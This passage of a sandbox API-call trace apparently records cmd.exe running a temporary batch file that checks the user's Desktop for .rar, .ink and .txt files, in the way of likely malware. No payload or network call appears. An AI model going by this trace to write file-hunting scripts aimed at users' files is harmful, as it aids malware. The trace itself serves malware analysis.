hHeap=0x4e0000) returned 1 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.215] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.215] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.215] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.215] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.215] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.215] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.215] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.215] GetProcessHeap () returned 0x4e0000 [0037.216] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.216] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.216] GetProcessHeap () returned 0x4e0000 [0037.216] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.216] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.217] _tell (_FileHandle=3) returned 1922 [0037.217] _close (_FileHandle=3) returned 0 [0037.217] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0037.217] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.217] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.217] GetLastError () returned 0x2 [0037.217] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.217] GetLastError () returned 0x6 [0037.217] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.217] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.218] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.218] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.218] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.218] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.218] SetConsoleInputExeNameW () returned 0x1 [0037.218] GetConsoleOutputCP () returned 0x1b5 [0037.218] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.218] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.219] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.219] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.219] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.219] SetFilePointer (in: hFile=0x74, lDistanceToMove=1922, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.219] GetProcessHeap () returned 0x4e0000 [0037.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x782 [0037.220] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1eab, lpOverlapped=0x0) returned 1 [0037.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n") returned 2 [0037.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.220] GetFileType (hFile=0x74) returned 0x1 [0037.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.220] GetProcessHeap () returned 0x4e0000 [0037.220] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.220] GetProcessHeap () returned 0x4e0000 [0037.220] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.220] _tell (_FileHandle=3) returned 1924 [0037.220] _close (_FileHandle=3) returned 0 [0037.221] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.221] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.221] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.221] SetFilePointer (in: hFile=0x74, lDistanceToMove=1924, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.221] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.221] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x784 [0037.221] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1ea9, lpOverlapped=0x0) returned 1 [0037.221] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.221] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n") returned 25 [0037.221] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.221] GetFileType (hFile=0x74) returned 0x1 [0037.221] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.221] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.221] GetProcessHeap () returned 0x4e0000 [0037.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.221] GetProcessHeap () returned 0x4e0000 [0037.222] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.222] GetProcessHeap () returned 0x4e0000 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.222] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.222] GetProcessHeap () returned 0x4e0000 [0037.222] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.222] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.222] GetProcessHeap () returned 0x4e0000 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.222] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.222] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.222] GetProcessHeap () returned 0x4e0000 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.222] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.222] GetProcessHeap () returned 0x4e0000 [0037.222] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.222] GetProcessHeap () returned 0x4e0000 [0037.222] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.223] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.223] _tell (_FileHandle=3) returned 1949 [0037.223] _close (_FileHandle=3) returned 0 [0037.224] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0037.224] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.224] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.224] GetLastError () returned 0x2 [0037.224] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.224] GetLastError () returned 0x6 [0037.224] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.224] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.224] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.224] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.225] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.225] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.225] SetConsoleInputExeNameW () returned 0x1 [0037.225] GetConsoleOutputCP () returned 0x1b5 [0037.225] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.225] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.225] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.225] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.225] SetFilePointer (in: hFile=0x74, lDistanceToMove=1949, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.226] GetProcessHeap () returned 0x4e0000 [0037.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79d [0037.227] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e90, lpOverlapped=0x0) returned 1 [0037.227] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n") returned 2 [0037.227] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.227] GetFileType (hFile=0x74) returned 0x1 [0037.227] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.227] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.227] GetProcessHeap () returned 0x4e0000 [0037.227] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.227] GetProcessHeap () returned 0x4e0000 [0037.227] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.227] _tell (_FileHandle=3) returned 1951 [0037.227] _close (_FileHandle=3) returned 0 [0037.233] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.233] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=1951, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x79f [0037.233] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e8e, lpOverlapped=0x0) returned 1 [0037.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n") returned 25 [0037.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.233] GetFileType (hFile=0x74) returned 0x1 [0037.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.233] GetProcessHeap () returned 0x4e0000 [0037.233] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.234] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.234] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.234] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.234] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.234] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.234] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.234] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.234] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.234] GetProcessHeap () returned 0x4e0000 [0037.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.235] _tell (_FileHandle=3) returned 1976 [0037.235] _close (_FileHandle=3) returned 0 [0037.236] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0037.236] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.236] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.236] GetLastError () returned 0x2 [0037.236] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.236] GetLastError () returned 0x6 [0037.236] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.236] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.236] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.236] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.237] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.237] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.237] SetConsoleInputExeNameW () returned 0x1 [0037.237] GetConsoleOutputCP () returned 0x1b5 [0037.237] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.237] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.237] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.237] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.237] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.237] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.238] GetProcessHeap () returned 0x4e0000 [0037.238] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.238] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.238] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0037.238] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e75, lpOverlapped=0x0) returned 1 [0037.238] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.239] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n") returned 2 [0037.239] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.239] GetFileType (hFile=0x74) returned 0x1 [0037.239] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.239] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0037.239] GetProcessHeap () returned 0x4e0000 [0037.239] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.239] GetProcessHeap () returned 